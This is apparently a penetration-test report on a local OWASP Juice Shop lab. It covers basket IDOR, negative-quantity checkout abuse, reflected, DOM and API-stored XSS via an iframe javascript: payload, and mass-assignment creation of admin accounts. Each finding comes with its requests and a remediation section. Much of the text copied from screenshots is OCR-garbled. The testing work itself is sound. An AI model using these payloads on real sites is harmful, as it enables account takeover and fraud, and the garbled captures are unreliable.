{"status":"success","data":{"id":4,"Userld":11,"Products":[{"id":4,"name":"Raspberry Juice
(1000ml)","price":4.99,"Basketltem":{"Productld":4,"Basketld":4,"id":6,"quantity":2}}]}}

Response ==

2@ n =

Request

Pty Row  Her ®B N = ety R Heo  Render

1 GET /rest/basket/3 HTTP/1.1 1 HITP/1.1 200 0K

2

1
12

Host: 127.0.0.1:3000
3 sec-ch-ua-platforn: “Linux®

Authorizati

ey 064 01 IKVLOLL CInbGe101 ISUZTIN 35, y YA 1 7IL KT 52 CILC2Vy bt ZSTSTLTsTVE WL T3 YR VUG QGRLANL LMoL el i Gz Sdvengs
03 TwY2M2ZTUxN2UzZnESNNFhYmY xYnJnZn 2Nz QOYTRL Zi TsTnJubGUi 04 3] dXNGb 211 ciTs InRL
VIRZ30701 The L 6y cHADG ] LA Y0 ey STt ARz 2R 20 0SS A G50 T301 AT Lo 0MNOaizt 15 pocrl Ly (mvhdcvknxmmeMD
T2LTASLTATDAGD; T50; Q3L ; Ty NSArHDAGHDAL LEI1 cGRh dGVk OX0s 01Ty DT 2LTASLTAXIDAGD; T50; Q3L ; TyNSArMDAGHDAL L CIk ZWixl d6Vk 0X03 On51bGxSLCTiaHa
10j HsTnl hdCIEMTC40D0xH] UOOXO. y12RRKbs - rHSoKk JngdbgeFZL] Ae 4nQY DGHG JWRST XSUQYC AUDSS Tre SKC TAZIOLIhYGvyaSp riknnati fbSj OHST AWAG4EESaSC
452_hzs EV70y 33t HunCual 2l TnLgCALBd=oDO4WNRNFTNSHToY Lo D3t

5 Accept-Language : en-US,en;q=0.9

¢ hccents apalicetion/ason. Lext /pLain, /v

sec-ch-uai "No

t; A=Brand”;v="8", "Chromiun";v="

User-Agent: Mozilla/5.0 (XLL; Linux x86_64) AppleWebKn/SS7 36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 14

sec-ch-ua-mobile: 70 15 €
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

5 Referer: hitp://127.0.0.1:3000/

2 Access-Control-Allow-Origin: *+
= X-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORIGI

o Feature-Folicy: payment 'self’

N

5 ComtemtiTyns: piieation/json: charset-utt-a
& Content-Length: 523

S ETag: W/"20b- zeAznIL+wS] YDMSPPRUOCY +i8Ds "

10 Vary: Accept-Encoding

11 Date: Thu, 03 Sep 2026 06:03i22 GMT

12 Comnection: keep-alive

15 Keep-Alives timeout=5

"status':"success”,

14 Accept-Encoding: gzip, deflate, br
15 Cookie: 1 i we cookieconsent _ ndTt= 2026- 09-01704:29: 50, 7252,
i £6LbvDxo JrS0Van: 1kPyQzqi Y2XKEMo: continueCodeFixTt= “updat edAt * : " 2026-09-01T04:29: 50, 7252" ,
VBKn7240WHZL 99 pel o i i “Products” ;[
VMieqs x7rEK bbhIpc2vTIndwZINSpY3kl LB 4PEbgzy; token= 1
ey 0eXAi 01.IKV101LCIhbGe 101 JSUZTIN J9. ey kY XRhT jp7Tnl kT 0zLCILc2Vy bmt ZST 6T TsTnV YW ST o LWL LXMNoL GFzc3dvenai "idr i1,

01TwYZM2ZTUXNZUZZNESNNFRYmY XY JnZaH2Mz QOYTRL 74 1TnJub 6Lk 0307 d XNGb Z11 c11s IRl bHVAZVRYa2VuT] 01 TiwibGFzdEx vZ2luSKALO1 TALC wcn Smaxl S
WIRZ2U1 01 3he3NL dHHy cHV bGLj L1 +d ] cy S1cGx vYWRzL 3R] ZnF1bHuC3ZnT iwi dGSOCFNLY3J1 d CTAT i TsTnl 2 GWNOaX2L Tj pOcnVLLCTj cnVhdGVKOXA101 TyMD
T2LTASLTAXTDAGD 150 QL] Ty NSArHDAGHDAL LC 1 cGRhdGVk OX01 01.TyMDL 2L TASLTAXIDAOD; 150 05L] IyNSArMDAGHDAL L CIk ZWx1 dGVk 0XQ1 OnS1bGxSLCTiana

507 MsTnl hdCTEHT < A0DQxH] UOOXO. yi.2RRkbs - rHSoKk JNodbgeFZL3 Ac 4nQYDGHa 3
46ew_h7sEV70y_XM3] twpp HugGwaT 2YiL 7nLg CALBds0D0AWYRNFTRSKFT0Y Lo J3HnVo

Tre SKCj TdZTOL) 1S

e 05qy k2NiHS; 12 7ZT1RF9Sb X fg"
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“name* ;" Apple Juice (1000nl)"
"description”:'The
"price”:1,99,
"deluxePrice”:0.95,

all-tine classic.",

2026-09-01T04: 29: 49, 7502“,

"deletedat” null,
"BasketIten”i{

"ProductTd" 1,
"Basket1d" i3,
"id":10,
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5 Content-Length: 19

4 sec-ch-ua-platforn: "Linux*
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£7J08KAL 01 KVLGALCINbGEL0LISUETLNE 19 ey T p 7Ll T CmShBWUL0i T LCIL
ODNhYTOWHGFINDYOY i RubWVy T XL VG 241 05 T3 LCISYXNOT GBn:
20101 TvYHNzZXRzL 31 YnxpYy Sl o AL o7y T 0T N XL 0L 5L
0wOSOuHy AwCTozN] 0z0C43N] kgKe AvOj AT iwi dXBK YXRI ZEFOT o iMj XL ZEFOT] pudWxsTSwinlkIjo
2LCIpYXQ1 0] E30DGOM] ayHTNS. UaaHAHML gbgSRnE_3i0p75nhheixhfwpVE- SECst oEdBpp ZPOuL 1aVDkBdHOQepaNxi DEK DT NhoN- QFSHNYTP24Hxe Lj NVWTuKSg] 9
FYYSrOEXiD1425Adk CC3t Jpt AOZ_BMLTRLv IbFUSPINFhRC FuOi1 7w 2YS8SGnaHE] cv.

oy zou gy
3 TﬁT]AuMCAvL]AlLCJv n9naxl
T6cHIL VSJIV)(R[ZEFOIJu)MJAyN)

8", "Chromium’ ;v="150"

S User-Agent Neri105.0 (a1, Linue x86_64) AppleWebkit/557.36 (KHTHL, like Gecko) Chrome/150.0.0.0 Safari/ss7.3s
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11 Content-Type: application/ison

12 origini http://127.0.0.1:3000

3 sec-Fetch-Site: sane-origin

14 sec-Fetch-Mode: cors

15 Sec-Fetch-Dest: empty

16 Referer: http://127,0.0.1:3000/

17 Accept-Encoding: gzip, deflate. br

15 Cookie: language=en; welcomebanner_status=disniss; cookieconsent_status=dismiss; continueCodeFindTt=
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6] pel EW3gn JBEVE

VBKN7240wMZL:
Zn2WEPrpq nwDxKg0l; token=
eyJoexAxD)JKVIQ)LCJ\\\:G:)OxJ..uleNxJJ ekavahI] P7InLKT: hbWUL 0T
OO YTOUHG aNDYOY 2€ 220 1B Livi cngsZSTalnN 3Ry \MVyI)v)ZGVsthlVG)\ZMA)D)I)LCJ;VXNDT Bnans rrrmmcawu ALLCIvcnnanxl
20501 VY XNz ZXRzL 381 ¥nxpYy S Med¥Bsb 2Pk cy Sk Z4ZhdNxOLnN2Zy L InRud HETZWN, IpcOF]dGl 228 6cHL VSHV)(R[ZEFOI]D)M]AyN)
OWOSOVHy AWOT0zN] 020C43N] kgkzAw0] AwI)wu\)(EkV)(RIZEFOI] i RLZEFOT] puchixsf SwivnLkIjo
2LCIpYXQ10; E300G0H; gy TS, UaobAinlghgSRnE._9iDpTsnhheixhfupVE- EBCS(UE(\BDDZPOHUakaEdHDQEpENx)DEKaDInhM QFSHNYTP24MxeL] NVWT uKSgj 3d
D1425AdkCC3t Jbpt AOZ_BMLTRA vIbFuSPINr hRe Fuli17v2Y58sGnaHE) o

DY gl ROy; continueCode=
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search | orighlights

Burp Suite Community Editionv2026.7.3 - Temporary Project

Control comparison: requesting basket ID 3 returned a basket with id=3 and Userld=3. The contrast between the
authenticated user context and the returned basket 4 ownership is the key authorization evidence.

Security Impact

e An authenticated user may be able to access another user's basket by changing an object identifier.

e Exposed basket information can include basket ownership metadata, products and quantities.

e The same authorization weakness may affect other object-level API endpoints if they use identifiers without

verifying ownership.

e The finding represents a confidentiality and authorization-control issue.

Remediation

e Authorize every basket read against the authenticated user's identity on the server.

e Do notrely on the basket ID supplied by the client as proof of ownership.

- s x
® . @
J- N
Target:http//127.0.0.13000 /8  HTTP (B
Response == g
Pretty  Raw  Hex  Render S nw= 37
—_— ]
1 HTTP/1.1 200 0K 2
2 hccess-Control-Allov-Origin: * g
5 ¥-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORIGIN
S Feature-Policy: payment 'self'
6 ¥-Recruiting: /#/jobs B
7 Content-Type: application/json; charset=utf-5
© Content-Length: 161 z
S ETag: W/"al-44TyPRCSLvtKzLtpT/0C/ diHOW" -4
10 Vary: Accept-Encodin: L
11 Date: Thu, O3 Sep 2026 13:39:23 GHT
12 Conmection: keep-alive
15 Kesp-Alive: timeout=s
14 v
15/ ¢ o
"status”:"success”, &
“data’ g
3
g
26-09- 03T13: 15: 00, 522",
Gpimtedat 1202505 02711 20, 25, 1262
bl
b
O ¢ > | sarh £ ohighights g

e Prefer queries scoped to the authenticated user, for example by combining basket ID and authenticated Userld in

the authorization condition.

e Apply object-level authorization consistently to all basket and Basketltem endpoints.

e Add automated tests attempting cross-user access to sequential and non-sequential object IDs.

Retest Criteria

With a session belonging to user A, requesting user B's basket must return an authorization failure and must not
disclose basket contents. The legitimate owner's request should continue to succeed. (notice the same token)

www.securetechlabs.com
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STL-WEB-006

Business Logic Abuse

Finding ID STL-WEB-006

Severity High

Category Business Logic / Input Validation / Transaction Integrity

CWE CWE-20 — Improper Input Validation

Affected Components PUT /api/Basketltems/{id}; checkout/purchase
workflow

Affected Parameter Quantity

Target 127.0.0.1:3000

Status VERIFIED / FINANCIAL-LOGIC IMPACT DEMONSTRATED

Executive Summary

A business-logic vulnerability was validated in the authorized local OWASP Juice Shop laboratory. An authenticated
user was able to modify a Basketltem quantity to -2. The application accepted and persisted the negative value with
HTTP 200 OK. The manipulated basket could then proceed through the purchase workflow, where the application
calculated a negative item total and displayed a successful purchase confirmation. This demonstrates that invalid
basket quantities are not adequately constrained at the server and that the invalid state can propagate into
transaction calculations.

Technical Validation

PUT /api/Basketltems/12 HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"quantity":-2}

Observed response: HTTP/1.1 200 OK
{"status":"success","data":{"Productld":1,"Basketld":3,"id":12,"quantity":-2}}
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Figure 1 — STL-WEB-006: Negative basket quantity accepted by the Basketltems API.
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= ] OWASP Juice Shop Q @ Account M YourBasket | @EN

My Payment Options

Add new card

Add a coupan

Other payment options

Figure 2 — STL-WEB-006: Checkout/payment stage reached with the manipulated basket.

= i OWASP Juice Shop Q @ Account ¥ YourBasket© @EN

Thank you for your purchase!

2, miaim, kama, 123323

r has been placed and is being pro You can check for status updates on our rors Nty 315

Order Summary v B

P10

Total Price

You have gained 0 Bonus Points from this order!

Figure 3 — STL-WEB-006: Purchase confirmation showing a negative item quantity and negative total price.

Observed Transaction Impact

After the negative quantity was accepted, the basket was carried into the checkout workflow. The purchase screen
displayed Apple Pomace with quantity -267 and a negative item total of -237.63. The final displayed total was -236.64
after the delivery amount was applied. The application then displayed a purchase-confirmation page. This provides
direct evidence that the invalid negative basket state can influence purchase calculations rather than remaining
isolated to the basket API.

Security Impact

 An authenticated user can create an invalid negative basket quantity.

 The invalid quantity can propagate into checkout and transaction calculations.
e The demonstrated workflow produced a negative payable/order total.

e This can undermine transaction integrity and may permit financial manipulation in applications where such a value
affects settlement, credits, refunds, inventory, or accounting.

» The evidence is from the intentionally vulnerable local OWASP Juice Shop laboratory and should not be interpreted
as evidence of impact against an unrelated production system.
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Root Cause

The application does not enforce the business invariant that a basket quantity must be a valid positive integer before
the value is persisted and subsequently used by checkout calculations. Downstream transaction logic also fails to
reject the resulting invalid state before completing the purchase workflow.

Remediation

« Enforce strict server-side validation requiring quantity to be an integer greater than or equal to 1.

« Reject zero, negative, fractional, non-numeric, and excessively large quantities with a 4xx response.

« Revalidate basket contents immediately before checkout and purchase finalization.

« Recalculate totals only from validated quantities and trusted server-side prices.

 Prevent checkout from proceeding when any basket item violates business rules.

* Add automated regression tests covering negative quantities and negative/zero final transaction totals.

» Review related Basketltem, basket, coupon, checkout, payment, refund, and inventory calculations for the same
trust-boundary weakness.

Retest

After remediation, submitting quantity=-2 should be rejected and the stored Basketltem should remain valid. A
manipulated basket must not reach purchase finalization. The checkout process must never produce or accept a
negative payable amount from a customer basket. Valid positive quantities must continue to work normally.
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STL-WEB-007
Reflected Cross-Site Scripting

Finding ID STL-WEB-007
Title Reflected XSS via iframe
Category Cross-site Scripting (xss)/ improper input handling
Affected Component Search functionality
Affected Parameter Q
Target 127.0.0.1:3000
Status VERIFIED / EXPLOITATION DEMONSTRATED

Executive Summary

The payload <i frame src="javascript:alert ('securetechlabs')"></iframe>

was supplied through the search query parameter. The application rendered the supplied iframe content
and the browser executed the javascript: URI, producing a JavaScript alert displaying "securetechlabs".
The supplied screenshot provides visual confirmation of successful script execution.

Technical Validation

v & OWASP Juice Shop X+

< G @ 127.0.0.1:3000/#/search?q=<iframe%20src%3D"javascript:alert(‘securatechlabs

127.0.0.1:3000 says

securatechlabs

Reproduction

1. Open the authorized local OWASP Juice Shop instance.

2. Navigate to the search functionality.

3. Supply the crafted iframe payload through the q search parameter.
4. Load the resulting search URL.

5. Observe the browser JavaScript alert displaying "securetechlabs".

Technical Analysis

The security issue occurs because attacker-controlled search input reaches a browser rendering context
without sufficient output encoding or sanitization. The iframe element is accepted and its javascript: URI is
executed by the browser. This demonstrates that untrusted input can cross the application-to-browser
trust boundary and become executable content.

www.securetechlabs.com +254114496452 info@securetechlabs.com



http://www.securetechlabs.com/

Security Impact
An attacker may be able to execute arbitrary JavaScript in a victim's browser in the affected context.
Successful exploitation can affect the confidentiality and integrity of data available to the affected application context.

A crafted search URL can potentially be delivered to another user, making reflected XSS particularly relevant to phishing
or social-engineering scenarios.

The demonstrated alert confirms code execution; the screenshot does not by itself establish access to authenticated data
or account takeover.

Remediation
Treat all search/query parameters as untrusted input.
Apply context-appropriate output encoding before inserting user-controlled values into HTML.
Do not allow javascript: URLs in user-controlled iframe or URL-bearing attributes.
Use a strict Content Security Policy (CSP) as defense in depth.
Prefer safe DOM APIs and framework binding mechanisms that do not interpret untrusted values as HTML.
Add regression tests covering iframe, javascript: URI, event-handler and other XSS payload classes.

Retest

After remediation, the same payload should be rendered inert or rejected. No JavaScript alert should
execute, and the application should safely encode or otherwise neutralize the supplied HTML/URI content.
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STL-WEB-008
DOM-Based Cross-Site Scripting (DOM XSS)

Finding ID STL-WEB-008
. DOM-Based Cross-Site Scripting (DOM XSS) via
Title : . .
iframe / javascript: URI
Severity High
Cross-Site Scripting / Improper Input
Category Neutralization
OWASP Mapping A03:2021 — Injection
CWE CWE-79 — Improper Neutralization of Input
During Web Page Generation
Affected Component Search functionality / #/search route
Affected Parameter q
Target 127.0.0.1:3000
Status VERIFIED — JavaScript execution demonstrated

Executive Summary

A DOM-based Cross-Site Scripting (DOM XSS) vulnerability was validated in the authorized local OWASP
Juice Shop laboratory. A crafted value supplied through the search query parameter was interpreted by the
client-side application as HTML containing an iframe with a javascript: URIL. The browser executed the
supplied JavaScript and displayed a JavaScript alert containing "securetechlabs". The supplied browser
screenshot provides direct visual evidence of successful client-side script execution.

Technical Validation

Proof-of-concept payload:

<iframe src="javascript:alert('securetechlabs')">

The payload was supplied through the q parameter of the Juice Shop search route. The browser executed
the javascript: URI and displayed an alert originating from the local application context. The screenshot
also shows the Juice Shop challenge notification identifying the challenge as DOM XSS, together with the
successful "securetechlabs" alert.
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The application accepted attacker-controlled search input and rendered it in a browser DOM context where
the iframe element was interpreted rather than displayed as inert text. The javascript: URI then executed in
the page's client-side context. This confirms that the security boundary between untrusted query data and
DOM rendering can be crossed without adequate neutralization.

Reproduction Procedure

1. Open the authorized local OWASP Juice Shop instance at 127.0.0.1:3000.
2. Navigate to the search functionality.

3. Supply the iframe javascript: URI payload in the q search parameter.

4. Load the resulting search URL.

5. Observe the browser JavaScript alert displaying "securetechlabs".

6. Record the alert and the application behavior as sanitized evidence.

Technical Analysis

The vulnerable behavior is consistent with attacker-controlled search input being passed into a DOM
rendering context without effective contextual output encoding or sanitization. The assessment evidence
indicates that the supplied iframe markup is interpreted by the browser and that its javascript: source
executes. Where application code explicitly bypasses framework HTML sanitization for attacker-controlled
values, the browser can receive executable markup instead of inert text.

Security Impact

An attacker may be able to execute arbitrary JavaScript in a victim's browser in the affected application context.

A malicious search URL can cause script execution when a victim loads the crafted route.

Depending on application permissions and browser controls, DOM XSS can enable unauthorized actions as the victim,
DOM manipulation, phishing/UI redressing, or access to data exposed to JavaScript.

The demonstrated alert is non-destructive proof of execution; it does not by itself establish credential theft or account
takeover.

Remediation
Treat the q search parameter as untrusted input.
Do not render attacker-controlled search values as trusted HTML.
Remove unsafe HTML-sanitization bypass mechanisms for untrusted values.
Use framework-provided contextual escaping/sanitization and safe DOM APIs.
Reject or neutralize javascript: URLs and other executable URI schemes in user-controlled URL-bearing attributes.
Use a strict Content Security Policy (CSP) as defense in depth.
Add regression tests covering iframe, javascript: URI, event-handler, and related DOM XSS payload classes.

Retest

After remediation, the same payload should be rendered inert or rejected. No JavaScript alert should
execute. The search interface should display the supplied value safely as text or otherwise neutralize the
executable markup and URL
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STL-WEB-009

API-ONLY XSS (PERSISTED XSS VIA REST API)

Finding ID STL-WEB-009
Title API-ONLY XSS
Severity High
Category Cross-Site Scripting API
OWASP Mapping A03:2021 — Injection
CWE-79 — Improper Neutralization of Input During
CWE .
Web Page Generation
Affected Component API
Target 127.0.0.1:3000
Status VERIFIED — execution demonstrated

Executive Summary

The application API accepted attacker-controlled HTML containing an iframe with a javascript: URI during
user creation. The payload was submitted directly to POST /api/Users/ rather than through the normal
frontend registration flow. The server returned HTTP 201 Created, demonstrating that the API accepted
the crafted input and created a new user record. The OWASP Juice Shop Companion Guide identifies this
laboratory challenge as “API-only XSS” and describes it as a persisted XSS attack performed without using

the frontend application.

Technical Validation

The following request was captured during the authorized local assessment:

POST /api/Users/ HTTP/1.1

Host: 127.0.0.1:3000
Content-Type: application/json
Origin: http://127.0.0.1:3000
Referer: http://127.0.0.1:3000/

"<iframe src=\"javascript:alert (securetechlabs)\">"

Server Response

HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Content-Type: application/json; charset=utf-8
Location: /api/Users/31

{

"status": "success",
"data": {
"username": "",
"role": "customer",
"id": 31,
"isActive": true,
"email": null,

"deletedAt": null
}
}
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Request Response

Pretty  Raw  Hex w n Pretty  Raw  Hex  Render

1 POST /apifUsers/ HTTP/1.1 1 HTTP/1.1 201 Created

2 Host: 127.0.0.1:3000 2 Access-Control-Allow-Origin: *

S Content-Length: S1 5 X-Content-Type-Options: nosniff

4 sec-ch-ua-platform: "Linux" 4 X-Frame-Options: SAMEORIGIN

S Accept-Language: en-US,en;g=0.9 S Feature-Policy: payment 'self'

5 Accept: application/jsen, text/plain, */% 5 X-Recruiting: /#/jobs

7 sec-ch-ua: "Not:#=Brand";v="8", "Chromiun";v="150" 7 Location: /api/Users/3l

& Content-Type: application/json & Content-Type: application/json; charset=utf-8

9 sec-ch-ua-mobile: 70 S Content-Length: 293

10 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 10 ETag: W/"135-qhY7GZsSD6t ShxKNycI8qSLIpLy"
safari/s37.36 11 Vary: Accept-Encoding

11 Origin: http://127.0.0.1:3000 12 Date: Mon, 07 Sep 2026 16:02:21 GMT

12 Sec-Fetch-Site: same-origin 13 Connection: keep-alive

15 Sec-Fetch-Mode: cors 14 Keep-Alive: timeout=5

14 Sec-Fetch-Dest: empty 15

15 Referer: http://127.0.0.1:3000/ 16 {

16 Accept-Encoding: gzip, deflate, br "status":"success”,

17 Cookie: language=en: welcomebanner_status=dismiss: cookieconsent_status=dismiss: continueCode= "data":{
QxN76KmL Rw] 4BXZ1IG2r IVSYCYYhgl cOgTwxc 7WS] 3GS2vOnpLYMArbzPEog "usernam

20 "<iframe sre=\"javascript:alert(securatechlabs)\">" "lastLoginT
"profileInage": " /assets/public/images/uploads/default . sva”,
"isActive®:true,
"idv:31,
"updatedAt" : "2026-09-07T16: 02: 21, 3192",
"createdAt" | "2026-09-07T16:02:21,3192",
“email"inull,
"deletedat” null

The significant observation is that a JavaScript-bearing iframe payload was accepted by the REST API and
the request completed with HTTP 201 Created. For the OWASP Juice Shop API-only XSS challenge, the
relevant security property is persistence: attacker-controlled markup must survive the API transaction and
later reach a browser execution context. The supplied API response does not itself display the stored
payload in the returned JSON, so this artifact alone should not be described as the complete proof of
execution. The final portfolio evidence should therefore retain a separate screenshot showing the payload
being retrieved/rendered and, where applicable, the alert or challenge-success confirmation.

Reproduction procedure

1. Interact directly with the Juice Shop REST API rather than relying on the frontend registration form.

2. Submit attacker-controlled HTML containing an iframe with a javascript: URI as the registration value.
3. Observe that the API responds with HTTP 201 Created and a new resource location (/api/Users/31).
4. Retrieve or trigger the affected record through the application path that renders the persisted value.
5. Capture the resulting browser execution/challenge confirmation as the final proof artifact.

Technical analysis

If the payload is persisted and subsequently rendered without adequate output encoding or sanitization, an
attacker may execute arbitrary JavaScript in the security context of the affected application. Potential
consequences include unauthorized actions performed in a victim session, manipulation of application
content, phishing/Ul redressing, and access to data available to client-side scripts, subject to browser and
application controls.

The observed behavior is consistent with insufficient server-side validation/sanitization of attacker-
controlled HTML supplied through the REST API and insufficient context-aware output encoding at the
point where the value is later rendered. The API boundary should not assume that the frontend has already
sanitized input.

Remediation

Reject executable URI schemes such as javascript: when they are not required by the business function.

Apply strict server-side allowlisting and validation to user-controlled fields.

Encode untrusted values for their specific output context before rendering them into HTML.

Sanitize rich HTML with a well-maintained, appropriately configured HTML sanitizer only where rich text is explicitly

required.

Use a restrictive Content Security Policy as a defense-in-depth control; do not rely on CSP alone.
Add automated regression tests against the REST AP], including XSS payloads submitted directly without using the

frontend.
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STL-WEB-010

Mass Assignment Privilege Escalation via User Creation API

Finding ID STL-WEB-010

Title Mass Assignment — Privilege Escalation via User Creation API
Severity High

Category Broken Access Control / Privilege Escalation / Mass Assignment
Affected Components POST /api/Users

Affected Parameter role

Target 127.0.0.1:3000

Status VERIFIED / EXPLOITATION DEMONSTRATED

Executive Summary

The User Creation challenge was validated in the authorized local OWASP Juice Shop laboratory.
Testing confirmed that the rosT /api/Users endpoint accepts a client-controlled ro1e parameter
during account creation. By changing the supplied role from the expected low-privilege customer value
to admin, the application created the account with administrator privileges.

The screenshots provide evidence of successful exploitation: the modified request contains
"role":"admin", the server returns HTTP 201 Created, and the response confirms that the newly
created account has "role":"admin".

Reproduction Procedure

1. A normal user-creation request was captured through Burp Suite.

The request body was inspected and a client-controlled ro1e parameter was identified.

The original role value was observed as customer, representingthe expected privilege level for a
newly registered account.

The ro1e parameter was modified from customer t0 admin before forwarding the request.

The application accepted the modified request and returned HTTP 201 Created.

The response was inspected and confirmed that the newly created account had the role admin.
This demonstrates that a client can influence a security-sensitive authorization attribute during
account creation.

wnn

~No ok

Evidence A — Normal User Creation

Sanitized request:

POST /api/Users HTTP/1.1

www.securetechlabs.com +254114496452 info@securetechlabs.com



http://www.securetechlabs.com/

Host: 127.0.0.1:3000

Content-Type: application/json

Relevant JSON:

"username": "securetechlabs",
"email": "securetechlabs.com",
"role": "customer"

Observed result: HTTP 201 Created.

Observation: the application accepts the ro1e attribute as part of the user creation request. A newly
created account is expected to receive a safe default role determined by the server rather than a privilege
level selected by the client.

1 POST /api/Users/ HTTP/1.1 1 HTTP/1.1 201 Created

2 Host: 127.6.0.1:3600 2 Access-Control-Allow-Origin: *
3 Content-Length: 263 3 X-Content-Type-Options: nosniff
4 sec-ch-ua-platform: "Linux" 4 X-Frame-Options: SAMEORIGIN
S Accept-Language: en-US,en;g=0.9 S Feature-Policy: payment 'self'
5 Accept: application/json, text/plain, */* 5 X-Recruiting: /#/jobs
7 sec-ch-ua: "Not:A=Brand";v="8", "Chromium";v="150" 7 Locatien: fapi/Users/33
2 Content-Type: application/json S Content-Type: application/json; charset=utf-8
9 sec-ch-ua-mobile: 70 S Content-Length: 315
10 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 10 ETag: W/"13b-1j132Rc2CxAt0sSYTTSUDgw/aXM"
safari/s37.36 11 Vary: Accept-Encoding
11 Origin: http://127.0.0.1:3000 12 Date: Mon, 07 Sep 2026 16:24:52 GMT
12 Sec-Fetch-Site: same-origin 13 Connection: keep-alive
13 Sec-Fetch-Mode: cors 14 Keep-Alive: timeout=5
14 Sec-Fetch-Dest: empty 15
15 Referer: http://127.0.0.1:3000/ 16 {
16 Accept-Encoding: gzip, deflate, br "status":"success",
17 Cookie: language=en; welcomebanner status=dismiss: cookieconsent status=dismiss: continueCode= “data’:
QxN76KmL Rwj 4BXZ1JI62rIVSYcYYhgl cOgTwxcWS] 3652vOnpLYMArbzPEog "usernam
19 Connestien.. ksep:alive role’; "cust
19 “deluxeToken
20 { “lastLoginIp 0.0",

“enail*:"securatechlabs@anail.con”, “profileInage":*/assets/public/inages/uploads/default .sug”,

"password" ! "1234567890" , "1sActive":true,

"passwordRepeat":"1234567890", "id":33,

*securityQuestion®:{ “enail": "securatechlabs@gnail .con",
"id": 4, "updatedAt":"2026-09-07T16: 24,52, 8202",
"gquestion”:"Father's birth date? (MM/DD/YY)", "createdAt":"2026-09-07T16: 24:52,8202",
"createdAt": "2026-09-04T0S: 50: 43, 983Z", "deletedat" inull
"updatedAt": "2026-09-04T0S: 50: 43, 9832" T

b ¥

“securityAnswer":"me"

Evidence B — Modified Role Parameter

The intercepted request was modified so that the client supplied:

"username": "securetechlabs",
"email": "securetechlabs.com",
"role": "admin"

The sensitive authentication fields shown in the original request are intentionally omitted from this
report.

Observed result;: HTTP 201 Created.

Observation: the application did not reject or override the client-supplied privileged role.
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Evidence C — Server Confirmation of Privilege Escalation

The server response confirmed successful creation of the account and returned:

"status": "success",

"data": {
"id": 35,
"username": "securetechlabs",
"email": "securetechlabs.com",
"role": "admin"

The important evidence is:
HTTP/1.1 201 Created
combined with:

"role": "admin"

Observation: the adamin privilege was not merely reflected in the request. The server accepted the value
and returned the created account with the administrator role.

E & cne <~ + BurpAl

Request Response

Pretty Raw Hex w no = Pretty Raw Hex Render

1 POST /api/Users/ HTTR/1.1 1 HTTR/1.1 201 Created

2 Host: 127.0.0.1:3000 2 Access-Control-Allow-Origin: *

3 Content-Length: 95 3 X-Content-Type-Options: nosniff

4 sec-ch-ua-platform: "Linux" 4 X-Frame- Options: SAMEORIGIN

S Accept-Language: en-US,en:g=0.9 S Feature-Policy: payment 'self'

6 Accept: application/json, text/plain, */ 6 X-Recruiting: /#/jobs

7 sec-ch-ua: "Mot:A=Brand";v="8", "Chromium";v="150" 7 Locatlon: fapi/Users/35

& Content-Type: application/json & Content-Type: application/json: charset=utf-8
sec-ch-ua-mobile: 70 S Content-Length: 325

0 L.

1 -Agent: Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 10 ETag: W/"145-/roqjj9g3ZEIgerTTyPaWLYyAeH"
safari/537.36 11 Vary: Accept-Encoding

11 Origin: http://127.0.0.1:3000 12 Date: Mon, 07 Sep 2026 16:27:15 GMT

12 Sec-Fetch-Site: same-origin 13 Connection: keep-alive

13 Sec-Fetch-Mode: cors 14 Keep-Alive: timeout=5

14 Sec-Fetch-Dest: empty 15

15 Referer: http://127.0.0,1:3000/ 16 {

16 Accept-Encoeding: gzip, deflate, br "status":'success”,

17 Cookie: language=en; welcomebanner_status=dismiss: cookisconsent_status=dismiss; continueCode= "data":
QxN76Kn Rw] 4BXZ1 1G2r TVSYcYYhgl cOgTwxc WSj 3692v0npLYMirbzPEog *deluxeToken": ",

1 "lastloginIp":"0.0.0.0",

1 “profilenage": " fassets/public/images /uploads/default Admin. prg”,

"lsActive™:tru

iratechlabs®,
“email":"securatechlabs.con”,
“passward” ; "adnin”,

“role®: "adnin”

securatechlabs",
ratechlabs.com",

026-09-07T16:27:15.4252",
"createdAt":"2026-09-07T16:27:15.425Z",
"deletedat” null

T

Technical Analysis

The vulnerability occurs because the user-creation API allows the client to provide a security-sensitive
authorization attribute.

During normal registration, the server should determine the user's initial privilege level independently of

client input. Instead, the observed behavior allows the request body to influence the resulting
authorization state.
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This is characteristic of mass assignment where client-supplied object properties are accepted without
adequately restricting security-sensitive fields.

The ro1e attribute is particularly critical because it directly influences authorization. Allowing an

unauthenticated or low-privileged client to assign admin privileges defeats the intended access-control
model.

Security Impact

1. Unauthorized creation of administrator accounts.

2. Privilege escalation from a normal customer account to an administrator account.

3. Potential access to administrator-only application functionality.

4. Potential modification or deletion of application resources depending on the privileges associated
with the administrator role.

5. Potential compromise of application confidentiality and integrity.

6. The vulnerability may provide a direct path to administrative access without requiring legitimate
administrator authorization.

Remediation

1. Do not accept ro1e from an unauthenticated user during normal account registration.

2. Assign the default user role server-side, for example customer.

3. Use an explicit allowlist of fields that clients are permitted to submit during registration.

4. Exclude security-sensitive properties such as role, isadmin, permissions and privilege-related

attributes from mass assignment.

5. If administrators are permitted to create privileged accounts, enforce a separate authenticated
administrator-only operation.

6. Perform server-side authorization checks rather than relying on client-supplied role values.

7. Add automated regression tests attempting to submit privileged values such as "role":"admin"
during ordinary registration.

Retest

After remediation, repeat the original user-creation request with:

"role": "admin"

The application should either reject the security-sensitive parameter or ignore it and assign the safe
default role.

A successful registration should result in:

"role": "customer"
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rather than:

"role": "admin"

The final retest should confirm that a client cannot create an administrator account by modifying the
role parameter.
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